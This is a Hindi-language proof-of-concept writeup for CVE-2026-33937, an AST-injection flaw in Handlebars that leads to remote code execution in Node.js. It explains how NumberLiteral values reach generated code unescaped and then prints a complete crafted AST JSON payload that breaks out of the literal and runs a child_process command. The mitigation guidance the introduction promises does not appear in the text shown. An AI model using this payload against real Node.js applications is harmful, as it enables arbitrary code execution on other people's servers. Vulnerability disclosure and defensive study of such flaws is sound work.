
CVE-2026-33937 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Handlebars AST इंजेक्शन भेद्यता है जो Node.js में रिमोट कोड निष्पादन की ओर ले जाती है। निर्मित AST पेलोड का प्रदर्शन करता है और शमन मार्गदर्शन प्रदान करता है।
CVE-2026-33937 Handlebars में एक गंभीर रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है, जो एब्स्ट्रैक्ट सिंटैक्स ट्री (AST) इनपुट के असुरक्षित हैंडलिंग के कारण होती है।
यह भेद्यता हमलावरों को Handlebars.compile() में एक क्राफ्टेड AST ऑब्जेक्ट प्रदान करके मनमाना JavaScript कोड इंजेक्ट करने की अनुमति देती है।
Handlebars.compile() दोनों को स्वीकार करता है:
जब एक AST ऑब्जेक्ट प्रदान किया जाता है, तो पार्सिंग चरण को छोड़ दिया जाता है।
अंदर:
lib/handlebars/compiler/javascript-compiler.js
फ़ंक्शन:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
सीधे number.value को जनरेटेड JavaScript कोड में इंसर्ट करता है, जिससे कोड इंजेक्शन होता है।
Attacker → Crafted AST (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (NumberLiteral injection)
│
▼
Code generation
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}